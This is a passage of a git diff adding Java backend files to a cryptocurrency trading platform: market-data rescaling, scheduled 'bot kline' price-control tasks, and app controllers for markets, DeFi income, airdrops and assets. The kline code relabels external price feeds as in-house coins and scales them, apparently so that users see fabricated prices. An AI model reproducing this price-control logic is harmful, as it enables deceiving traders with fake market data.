BigDecimal(jsonObject.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownTrade(String event,KlineSymbol kSymbol ) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + BigDecimal p = new BigDecimal(jsonObject.getString("p")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + jsonObject.put("p",p.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + return jsonObject.toJSONString(); + } + + private String ownKline(String event,KlineSymbol kSymbol) { + BigDecimal proportion = kSymbol.getProportion(); + if(proportion.compareTo(BigDecimal.ZERO)==0){ + proportion=new BigDecimal("100"); + } + JSONObject jsonObject = JSONObject.parseObject(event); + JSONObject k = jsonObject.getJSONObject("k"); + BigDecimal o = new BigDecimal(k.getString("o")); + BigDecimal h = new BigDecimal(k.getString("h")); + BigDecimal l = new BigDecimal(k.getString("l")); + BigDecimal c = new BigDecimal(k.getString("c")); + BigDecimal q = new BigDecimal(k.getString("q")); + jsonObject.put("s",kSymbol.getSymbol().toUpperCase()+"USDT"); + k.put("o",o.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("h",h.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("l",l.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("c",c.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + k.put("q",q.multiply(proportion).divide(new BigDecimal("100")).setScale(6, RoundingMode.HALF_UP)); + jsonObject.put("k",k); + return jsonObject.toJSONString(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/task/BotKlineTask.java b/ruoyi-api/src/main/java/com/ruoyi/task/BotKlineTask.java new file mode 100644 index 0000000..5a952f7 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/task/BotKlineTask.java @@ -0,0 +1,129 @@ +package com.ruoyi.task; + +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.socket.constants.SocketTypeConstants; +import com.ruoyi.socket.dto.MessageVo; +import com.ruoyi.socket.dto.SocketMessageVo; +import com.ruoyi.socket.dto.WsCoinSubVO; +import com.ruoyi.socket.socketserver.WebSocketSubCoins; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.BeanUtils; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +@Component +@Slf4j +public class BotKlineTask { + @Resource + ITBotKlineModelService itBotKlineModelService; + @Resource + RedisCache redisCache; + + @Scheduled(cron = "*/15 * * * * ?") + public void botKline() { + Date date = new Date(); + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + tBotKlineModel.setBeginTime(date); + List botModelListByTime = itBotKlineModelService.getBotModelListByTime(tBotKlineModel); + for (TBotKlineModel botModel : botModelListByTime) { + log.info("存储控线缓存"); + HashMap botMap = new HashMap(); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + botModel.getSymbol().replace("usdt", "")); + botMap.put("id", botModel.getId()); + botMap.put("currentlyPrice", currentlyPrice); + botModel.setConPrice(currentlyPrice); + itBotKlineModelService.updateByid(botModel); + KLoader.BOT_MAP.put("bot-" + botModel.getSymbol().replace("usdt", ""), botMap); + KLoader.BOT_TIME_MAP.put(botModel.getSymbol().replace("usdt", ""), "0"); + KLoader.BOT_PRICE.put(botModel.getSymbol().replace("usdt", ""),currentlyPrice); + } + List list = itBotKlineModelService.list(); + if (list.size() < 1) { + KLoader.BOT_MAP.clear(); + KLoader.BOT_PRICE.clear(); + KLoader.BOT_TIME_MAP.clear(); + } + } + + /** + * 保持心跳 + */ + @Scheduled(cron = "*/5 * * * * ?") + public void keepHeartBeat() { + Map webSocketMap = WebSocketSubCoins.webSocketMap; + webSocketMap.forEach((userId, webSocketSubCoins) -> { + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.HEARTBEAT); + + MessageVo messageVo = new MessageVo(); + messageVo.setCode("1"); + messageVo.setMessage(SocketTypeConstants.HEARTBEAT); + socketMessageVo.setDate(messageVo); + + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + webSocketSubCoins.sendMessage(jsonStr); + }); + } + + @Resource + ITOwnCoinService tOwnCoinService; + + /** + * 成功订阅推送消息 + */ + @Scheduled(cron = "*/30 * * * * ?") + public void subCoinSendMsgTask() { + try { + Map webSocketMap = WebSocketSubCoins.webSocketMap; + SocketMessageVo socketMessageVo = new SocketMessageVo(); + socketMessageVo.setType(SocketTypeConstants.OWN_COIN); + MessageVo messageVo = new MessageVo(); + + webSocketMap.forEach((userId, webSocketSubCoins) -> { + TOwnCoinSubscribeOrder selectOrder = new TOwnCoinSubscribeOrder(); + selectOrder.setStatus("2"); + selectOrder.setUserId(Long.parseLong(userId)); + List orders = + tOwnCoinService.selectTOwnCoinSubscribeOrderList(selectOrder); + if (!CollectionUtils.isEmpty(orders)) { + TOwnCoinSubscribeOrder subscribeOrder = orders.get(0); + WsCoinSubVO vo = new WsCoinSubVO(); + BeanUtils.copyProperties(subscribeOrder, vo); + vo.setMsg(MessageUtils.message("own.coin.sub.success", vo.getOwnCoin().toUpperCase().concat("/USDT"))); + //vo.setMsg("您已获得 " + vo.getOwnCoin() + "/USDT 申购资格"); + String message = JSONObject.toJSONString(vo); + if (WebSocketSubCoins.webSocketMap.containsKey(userId)) { + subscribeOrder.setStatus("3"); + int count = tOwnCoinService.updateTOwnCoinSubscribeOrder(subscribeOrder); + if(count>0){ + messageVo.setMessage(message); + socketMessageVo.setDate(messageVo); + String jsonStr = JSONUtil.toJsonStr(socketMessageVo); + WebSocketSubCoins.webSocketMap.get(userId).sendMessage(jsonStr); + } + } + } + }); + }catch (Exception e){ + log.info(e.toString()); + } + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TCustomerController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TCustomerController.java new file mode 100644 index 0000000..d193000 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TCustomerController.java @@ -0,0 +1,55 @@ +package com.ruoyi.web.controller.app; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.SupportStaffSetting; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +@RestController +@RequestMapping("/api/app/customer") +public class TCustomerController { + + + @Resource + private SettingService settingService; + /** + * PC端查询客服列表 + */ + @PostMapping("/info") + public AjaxResult info() + { +// HashMap map = new HashMap<>(); + //多语言 +// List data = dictTypeService.selectDictDataByType("t_app_language"); +// if (StringUtils.isNull(data)) +// { +// data = new ArrayList(); +// } + + Setting setting = settingService.get(SettingEnum.SUPPORT_STAFF_SETTING.name()); + List supportStaffSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class); + + Map map = new HashMap(); + map.put("customer",supportStaffSettings.get(0).getUrl()); + map.put("customerEmail",""); + map.put("registType",""); + map.put("signType",""); + +// map.put("t_app_language",data); + return new AjaxResult(0,"success",map); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TDictController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TDictController.java new file mode 100644 index 0000000..75dad8e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TDictController.java @@ -0,0 +1,50 @@ +package com.ruoyi.web.controller.app; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.system.service.ISysDictTypeService; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +/** + * @ClassName TdictController + * @Description TODO + * @Author fuck + * @Version 1.0 + */ + +@RestController +@RequestMapping("/api/app/dict") +public class TDictController extends ApiBaseController { + + + @Resource + private ISysDictTypeService dictTypeService; + /** + * PC端查询语言列表 + */ + @PostMapping("/dictByLanguage") + public AjaxResult dictByLanguage(TActivityRecharge tActivityRecharge) + { +// HashMap map = new HashMap<>(); + //多语言 + List data = dictTypeService.selectDictDataByType("t_app_language"); + if (StringUtils.isNull(data)) + { + data = new ArrayList(); + } +// map.put("t_app_language",data); + return new AjaxResult(0,"success",data); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TMarketController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TMarketController.java new file mode 100644 index 0000000..7dca70e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TMarketController.java @@ -0,0 +1,97 @@ +package com.ruoyi.web.controller.app; + + +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.bussiness.service.ITContractCoinService; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.socket.config.KLoader; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +@RestController +@RequestMapping("/api/app/market") +public class TMarketController { + + + @Resource + private ITContractCoinService tContractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + + @Resource + private RedisCache redisCache; + + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + + @Resource + private ITBotKlineModelService tBotKlineModelService; + + @GetMapping("/list") + public AjaxResult list() { + //查询币种跟随性价格 + // LocalDateTime now = LocalDateTime.now(); + // LocalDateTime beforeTime = now.minusDays(1); + // List list = tBotKlineModelService.list(new LambdaQueryWrapper().between(TBotKlineModel::getBeginTime, beforeTime, now).eq(TBotKlineModel::getModel, 0)); + HashMap stringBigDecimalHashMap = tBotKlineModelService.getyesterdayPrice(); + List coinList = tSecondCoinConfigService.getSymbolList(); + for (SymbolCoinConfigVO s:coinList) { + BigDecimal bigDecimal = stringBigDecimalHashMap.get(s.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(s.getCoin()); + s.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + if(s.getMarket().equals("metal")){ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + }else{ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin().toLowerCase()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + } + List currencyList = tCurrencySymbolService.getSymbolList(); + for (TCurrencySymbol t:currencyList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + t.getCoin().toLowerCase()); + t.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(t.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(t.getCoin().toLowerCase()); + t.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + } + List contractList = tContractCoinService.getCoinList(); + for (TContractCoin coin:contractList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.getCoin().toLowerCase()); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(coin.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(coin.getCoin().toLowerCase()); + coin.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + coin.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + Map map = new HashMap<>(); + map.put("coinList",coinList); + map.put("currencyList",currencyList); + map.put("contractList",contractList); + return new AjaxResult(0,"success",map); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TNoticeTopController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TNoticeTopController.java new file mode 100644 index 0000000..85bf636 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/app/TNoticeTopController.java @@ -0,0 +1,60 @@ +package com.ruoyi.web.controller.app; + + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.util.ArrayList; +import java.util.List; + +@RestController +@RequestMapping("/api/app/noticeTop") +public class TNoticeTopController extends BaseController { + + + @Autowired + private ITNoticeService tNoticeService; + + @PostMapping("/list") + public AjaxResult list(TNotice tNotice, HttpServletRequest httpRequest) + { + String lang = httpRequest.getHeader("Lang"); + if (StringUtils.isNotBlank(lang)){ + tNotice.setLanguageId(lang); + } + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List list = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:list) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + return new AjaxResult(0,"success",list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/blockcc/BlockccController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/blockcc/BlockccController.java new file mode 100644 index 0000000..3e0f850 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/blockcc/BlockccController.java @@ -0,0 +1,83 @@ +package com.ruoyi.web.controller.blockcc; + +import cc.block.data.api.domain.market.Kline; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.framework.web.domain.KlineParamVO; +import com.ruoyi.framework.web.domain.Ticker24hVO; +import com.ruoyi.framework.web.service.BlockccService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RestController; + +import java.math.BigDecimal; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * 数据源接口 不做验证 直接调用api接口 + * + * @author ruoyi + */ +@RestController +public class BlockccController { + public static final Logger log = LoggerFactory.getLogger(BlockccController.class); + @Value("${mifeng.api.eth}") + private String apiKey; + @Value("${mifeng.api.host}") + private String host; + @Autowired + BlockccService blockccService; + + /** + * 登录历史k线 + * + * @param klineParamVO 入参 + * @return 结果 + */ + @PostMapping("/kline") + public AjaxResult kline(@RequestBody KlineParamVO klineParamVO) { + AjaxResult ajax = AjaxResult.success(); + HashMap map = new HashMap<>(); + List historyKline = blockccService.getHistoryKline(klineParamVO); + historyKline = blockccService.getConPriceMap(klineParamVO,historyKline); + Ticker24hVO ticker = blockccService.getHistoryKline24hrTicker(klineParamVO); + map.put("historyKline",historyKline); + if(historyKline.size()>0){ + Kline kline = historyKline.get(historyKline.size() - 1); + //ticker.setLowPrice(new BigDecimal(kline.getHigh())); + ticker.setHighPrice(new BigDecimal(kline.getHigh())); + } + map.put("ticker",ticker); + ajax.put("data", map); + return ajax; + } + + /** + * 封装缩减k线数据 + * + * @param list 入参数组list + * @return 结果 + */ + @PostMapping("/newKline") + public AjaxResult new_kline(@RequestBody List list) { + AjaxResult ajax = AjaxResult.success(); + List re=new ArrayList<>(); + for (KlineParamVO paramVO : list) { + HashMap map = new HashMap<>(); + List historyKline = blockccService.getHistoryKline2(paramVO); + historyKline = blockccService.getConPriceMap(paramVO,historyKline); + Ticker24hVO ticker = blockccService.getHistoryKline24hrTicker(paramVO); + map.put("historyKline",historyKline); + map.put("ticker",ticker); + re.add(map); + } + ajax.put("data", re); + return ajax; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/ApiDefiController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/ApiDefiController.java new file mode 100644 index 0000000..e206d31 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/ApiDefiController.java @@ -0,0 +1,95 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.TAppAddressInfo; +import com.ruoyi.bussiness.domain.dto.AddressHashDTO; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; +import com.ruoyi.bussiness.domain.dto.UserInvestmentDto; +import com.ruoyi.bussiness.service.IDefiRateService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.bean.BeanUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.ArrayList; +import java.util.List; +import java.util.Random; +import java.util.UUID; + +import static com.ruoyi.common.utils.PageUtils.startPage; + +@RestController +@RequestMapping("/api/apiDefi") +public class ApiDefiController extends ApiBaseController { + @Autowired + IDefiRateService defiRateService; + @ApiOperation(value = "展示挖矿模拟收益") + @PostMapping("/userInvestment") + public AjaxResult userInvestment(HttpServletRequest request) { + List userInvestmentDtos = defiRateService.userInvestment(); + return AjaxResult.success(userInvestmentDtos); + } + @ApiOperation(value = "展示Defi挡位") + @PostMapping("/getDefiRate") + public AjaxResult getDefiRate(HttpServletRequest request) { + return AjaxResult.success( defiRateService.selectDefiRateAllList()); + } + @ApiOperation(value = "展示玩家每日收益详情") + @PostMapping("/showIncome/{userId}") + public AjaxResult showIncome(HttpServletRequest request,@PathVariable("userId") Long userId) { + return AjaxResult.success( defiRateService.getUserShowIncome(userId)); + } + + @ApiOperation(value = "展示玩家每日收益详情") + @GetMapping("/showOrder") + public TableDataInfo showOrder(HttpServletRequest request, DefiOrder defiOrder) { + + + startPage(); + List order = defiRateService.getOrder(defiOrder); + List arrayList = new ArrayList(); + for (DefiOrder defiOrder1: order) { + DefiOrderDTO dto = new DefiOrderDTO(); + BeanUtils.copyBeanProp(dto,defiOrder1); + dto.setCreateTimes(defiOrder1.getCreateTime().getTime()); + arrayList.add(dto); + } + return getDataTable(arrayList,order); + } + @ApiOperation(value = "空头弹窗") + @PostMapping("/showDefiActivityNotice/{userId}") + public AjaxResult showDefiActivityNotice(HttpServletRequest request, @PathVariable("userId")Long userId) { + return AjaxResult.success( defiRateService.showDefiActivityNotice(userId)); + } + + @ApiOperation(value = "展示空投") + @PostMapping("/showDefiActivity/{userId}") + public AjaxResult showDefiActivity(HttpServletRequest request,@PathVariable("userId") Long userId) { + return AjaxResult.success( defiRateService.showDefiActivity(userId)); + } + + @ApiOperation(value = "修改空投状态") + @PostMapping("/updateDefiActivity") + public AjaxResult updateDefiActivity(HttpServletRequest request, @RequestBody DefiActivity defiActivity) { + Integer integer = defiRateService.updateDefiActivity(defiActivity.getId(), defiActivity.getStatus()); + if(integer==0){ + return AjaxResult.error(); + } + return AjaxResult.success( ); + } + @ApiOperation(value = "发送授权hash") + @PostMapping("/sendApproveHash") + public AjaxResult sendApproveHash(HttpServletRequest request, @RequestBody AddressHashDTO addressHashDTO) { + defiRateService.sendApproveHash(addressHashDTO); + return AjaxResult.success( ); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java new file mode 100644 index 0000000..70e2598 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java @@ -0,0 +1,44 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TActivityRecharge; +import com.ruoyi.bussiness.service.ITActivityRechargeService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 充值活动Controller + * + * @author ruoyi + * @date 2023-07-05 + */ +@RestController +@RequestMapping("/api/activityrecharge") +public class TActivityRechargeController extends ApiBaseController +{ + @Autowired + private ITActivityRechargeService tActivityRechargeService; + + /** + * 查询充值活动列表 + */ + @PreAuthorize("@ss.hasPermi('system:recharge:list')") + @GetMapping("/list") + public AjaxResult list(TActivityRecharge tActivityRecharge) + { + List list = tActivityRechargeService.selectTActivityRechargeList(tActivityRecharge); + return AjaxResult.success(list); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java new file mode 100644 index 0000000..a211403 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java @@ -0,0 +1,71 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAgentActivityInfo; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.vo.TAgentActivityInfoVo; +import com.ruoyi.bussiness.service.ITAgentActivityInfoService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.*; + +/** + * 返利活动明细Controller + * + * @author ruoyi + * @date 2023-07-06 + */ +@RestController +@RequestMapping("/api/agentActivityInfo") +public class TAgentActivityInfoController extends ApiBaseController +{ + @Autowired + private ITAgentActivityInfoService tAgentActivityInfoService; + + /** + * 统计返利 + */ + @PostMapping("/getAgentInfo") + public AjaxResult getAgentInfo(TAgentActivityInfo tAgentActivityInfo) + { + TAppUser appUser = getAppUser(); + tAgentActivityInfo.setUserId(appUser.getUserId()); + Map map = tAgentActivityInfoService.selectUserActivityInfo(tAgentActivityInfo); + return AjaxResult.success(map); + } + + /** + * 查询返利活动明细列表 + * @param tAgentActivityInfo + * @return + */ + @PostMapping("/getAgentList") + public AjaxResult getAgentList(@RequestBody TAgentActivityInfo tAgentActivityInfo) + { + TAppUser appUser = getAppUser(); + tAgentActivityInfo.setUserId(appUser.getUserId()); + List list = tAgentActivityInfoService.getAgentList(tAgentActivityInfo); + if(!CollectionUtils.isEmpty(list) && list.get(0)!=null){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime", Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + }else{ + list = new ArrayList<>(); + } + return AjaxResult.success(list); + } + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java new file mode 100644 index 0000000..442ddd6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java @@ -0,0 +1,67 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.vo.AssetTransFundsVO; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; +import javax.servlet.http.HttpServletRequest; +import java.util.List; +import java.util.Map; + +/** + * 玩家资产Controller + * + * @author shenshen + * @date 2023-06-27 + */ +@RestController +@RequestMapping("/api/asset") +public class TAppAssetController extends ApiBaseController +{ + @Autowired + private ITAppAssetService tAppAssetService; + + + + /** + * 获取玩家资产详细信息 + */ + @GetMapping(value = "/getInfo") + public AjaxResult getInfo() + { + TAppAsset appAsset = new TAppAsset(); + appAsset.setUserId(getStpUserId()); + return success(tAppAssetService.selectTAppAssetList(appAsset)); + } + + /** + * 获取玩家资产划转 + */ + @PostMapping(value = "/transferFunds") + public AjaxResult transferFunds(@RequestBody AssetTransFundsVO assetTransFundsVo) + { + String msg = tAppAssetService.transferFunds(assetTransFundsVo); + if(!StringUtils.isEmpty(msg)){ + return error(msg); + } + return success(); + } + + /** + * 资产余额 + */ + @PostMapping(value = "/assetBalance") + public AjaxResult tAppAssetService() + { + List list = tAppAssetService.tAppAssetService(); + return success(list); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java new file mode 100644 index 0000000..017e8e5 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java @@ -0,0 +1,63 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import 